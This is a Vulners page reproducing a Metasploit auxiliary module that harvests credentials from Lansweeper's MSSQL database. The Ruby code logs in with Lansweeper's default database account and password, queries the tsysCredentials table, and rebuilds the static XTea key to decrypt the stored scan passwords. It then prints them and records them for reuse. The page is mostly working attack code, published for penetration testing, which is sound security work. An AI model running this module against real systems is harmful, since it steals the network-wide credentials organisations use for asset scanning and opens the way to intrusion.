Lucene search
+L

Lansweeper Credential Collector

Lansweeper stores scan computer credentials in MSSQL database with XTea-encrypted 68-char key. Default MSSQL user "lansweeperuser" with password "mysecretpassword0*" is used

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::MSSQL
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Lansweeper Credential Collector',
      'Description' => %q(
        Lansweeper stores the credentials it uses to scan the computers
        in its Microsoft SQL database.  The passwords are XTea-encrypted with a
        68 character long key, in which the first 8 characters are stored with
        the password in the database and the other 60 is static. Lansweeper, by
        default, creates an MSSQL user "lansweeperuser" with the password is
        "mysecretpassword0*", and stores its data in a database called
        "lansweeperdb". This module will query the MSSQL database for the
        credentials.
      ),
      'Author' =>
        [
          'sghctoma <tamas.szakaly[at]praudit.hu>', # Lansweeper RCE + Metasploit implementation
          'eq <balazs.bucsay[at]praudit.hu>', # Lansweeper RCE + discovering default credentials
          'calderpwn <calderon[at]websec.mx>' # Module for lansweeper (5.3.0.8)
        ],
      'License' => MSF_LICENSE,
      'DefaultOptions'  =>
        {
          'USERNAME' => 'lansweeperuser',
          'PASSWORD' => 'mysecretpassword0*'
        },
      'References' =>
        [
          ['URL', 'http://www.lansweeper.com'],
          ['URL', 'http://www.praudit.hu/prauditeng/index.php/blog/a-lansweeper-es-a-tea']
        ]))

    register_options([
      OptString.new('DATABASE', [true, 'The Lansweeper database', 'lansweeperdb'])
    ])

  end

  def uint32(n)
    n & 0xffffffff
  end

  def xtea_decode(v, k)
    sum = 0xc6ef3720
    v_0 = uint32(v[0])
    v_1 = uint32(v[1])

    0.upto(0x1f) do
      v_1 -= uint32((uint32(v_0 << 4) ^ uint32(v_0 >> 5)) + v_0) ^ uint32(sum + k[uint32(sum >> 11) & 3])
      v_1 = uint32(v_1)
      sum -= 0x9e3779b9
      sum = uint32(sum)
      v_0 -= (uint32(uint32(v_1 << 4) ^ uint32(v_1 >> 5)) + v_1) ^ uint32(sum + k[sum & 3])
      v_0 = uint32(v_0)
    end

    v[0] = v_0
    v[1] = v_1
  end

  def xtea_decrypt(data, key)
    k = key.ljust(16).unpack('VVVV')
    num = 0
    bytes = Array.new

    0.step(data.length - 1, 8) do |i|
      v = data[i, 8].unpack('VV')
      xtea_decode(v, k)
      bytes[num] = v[0]
      num += 1
      bytes[num] = v[1]
      num += 1
    end

    bytes.pack('c*')
  end

  def lsw_generate_pass
    key = ''

    (0..60).each do |num|
      key << [((40 - num) + ((num * 2) + num)) - 1].pack('c')
      key << [(num + 15) + num].pack('c')
    end

    key
  end

  def lsw_decrypt(data)
    data = Rex::Text.decode_base64(data)

    first = data[0]
    pass = data[1, 8]
    actual_data = data[9, data.length - 9]

    decrypted = xtea_decrypt(actual_data, pass + lsw_generate_pass)

    if first == '1'
      decrypted = decrypted[0, decrypted.length - 2]
    end

    Rex::Text.to_ascii(decrypted, 'utf-16le')
  end

  def report_cred(opts)
    service_data = {
      address: opts[:host],
      port: opts[:port],
      protocol: 'tcp',
      workspace_id: myworkspace_id,
      service_name: opts[:creds_name]
    }

    credential_data = {
      username: opts[:user],
      private_type: :password,
      private_data: opts[:password],
      origin_type: :service,
      module_fullname: self.fullname
    }.merge(service_data)

    login_data = {
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::UNTRIED
    }.merge(service_data)

    create_credential_login(login_data)
  end

  def run
    unless mssql_login_datastore
      fail_with(Failure::NoAccess, 'Login failed. Check credentials.')
    end
    result = mssql_query("select Credname, Username, Password from #{datastore['DATABASE']}.dbo.tsysCredentials WHERE LEN(Password)>64", false)

    if result[:errors]
      print_error("SQL Query returned error: #{result[:errors].first}")
      return
    end

    result[:rows].each do |row|""
      pw = lsw_decrypt(row[2])

      print_good("Credential name: #{row[0]} | username: #{row[1]} | password: #{pw}")

      report_cred(
        :host => mssql_client.peerhost,
        :port => mssql_client.peerport,
        :creds_name => row[0],
        :user => row[1],
        :password => pw
      )
    end
    disconnect
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Mar 2024 13:11Current
7.7High risk
Vulners AI Score7.7
30